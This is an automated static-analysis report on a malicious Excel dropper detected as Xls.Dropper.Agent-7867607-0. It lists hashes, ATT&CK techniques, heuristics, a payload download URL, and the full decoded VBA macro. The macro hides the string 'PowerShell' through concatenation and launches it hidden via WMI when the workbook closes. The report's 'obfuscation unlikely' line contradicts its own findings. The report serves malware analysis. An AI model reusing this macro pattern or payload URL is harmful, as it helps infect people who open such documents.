Xls.Dropper.Agent-7867607-0 — Office (OOXML) malware analysis

Static analysis result for SHA-256 145ad1b69242e6c7…

MALICIOUS

Office (OOXML)

93.9 KB Created: 2015-06-05 18:17:20 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2020-09-07
MD5: b1f6c4ec96d4fa8647b90759df04807d SHA-1: c2d851638bb7b2f0baf7f94e85563472a7910ece SHA-256: 145ad1b69242e6c7bbf57563206310d0a51aea37e996cdbd6cf26d4c93cf3c20
182 Risk Score

Malware Insights

Xls.Dropper.Agent-7867607-0 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The file is detected as Xls.Dropper.Agent-7867607-0 by ClamAV, indicating it is a malicious dropper. The VBA macro contains obfuscated code that, when deobfuscated, constructs a PowerShell command to download a file from 'http://kremlin-malwrhunterteam.info/scan.exe' and save it as 'scan.exe' in the user's AppData directory. It then executes the downloaded file, likely establishing persistence via a Run key.

Heuristics 4

  • ClamAV: Xls.Dropper.Agent-7867607-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Dropper.Agent-7867607-0
  • VBA project inside OOXML medium 1 related finding OOXML_VBA
    Document contains a VBA project — VBA macros present
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://kremlin-malwrhunterteam.info/scan.exe In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2117 bytes
SHA-256: 5f0cc36101e8332575253cc18c90f846906be14d760b65090cb53fbf58aadfb1
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_BeforeClose(Cancel As Boolean)


v = Worksheets(1).Range("B100").Text


xn = "Po" & YZdlk.c6() & YZdlk.c3() & YZdlk.c2() & YZdlk.c11() & "h" & YZdlk.c3() & "ll " & "-w h " & v
  YZdlk.rtghgfhjhg (xn)
End Sub



Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "YZdlk"
Attribute VB_Base = "0{CE07A86C-16A1-47B6-A570-04C3F4A72004}{FC230AB9-13AB-43BE-8F28-9C10541F4B24}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function rtghgfhjhg(fgfjhfgfg As String)

Set sJECL = CreateObject(TC2())
Set BolVxh = sJECL.Methods_(TC()). _
    InParameters.SpawnInstance_

BolVxh.CommandLine = fgfjhfgfg
BolVxh.ProcessStartupInformation = FauPn
Set jLNYomB = sJECL.ExecMethod_(TC(), BolVxh)
End Function

Function TC()

TC = c1 & c2 & c3 & c4 & c5 & c3
End Function

Function TC2()
TC2 = c6 & c7 & c8 & c9 & c10 & c9 & c5 & c11 & ":" & c6 & c7 & c8 & "32_" & "Process"
End Function
Function c1()
c1 = "c"
End Function

 
Function c2()
c2 = "r"
End Function

Function c3()
c3 = "e"
End Function

Function c4()
c4 = "a"
End Function

Function c5()
c5 = "t"
End Function


Function c6()
c6 = "w"
End Function
Function c7()
c7 = "i"
End Function
Function c8()
c8 = "n"
End Function
Function c9()
c9 = "m"
End Function
Function c10()
c10 = "g"
End Function
Function c11()
c11 = "s"
End Function
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 17920 bytes
SHA-256: 5b46c7787d8d853aa02cb263ac55c60e7f554ea2713a34183aa0ad33376baad2
Detection
ClamAV: Xls.Dropper.Agent-7867607-0
Obfuscation or payload: unlikely

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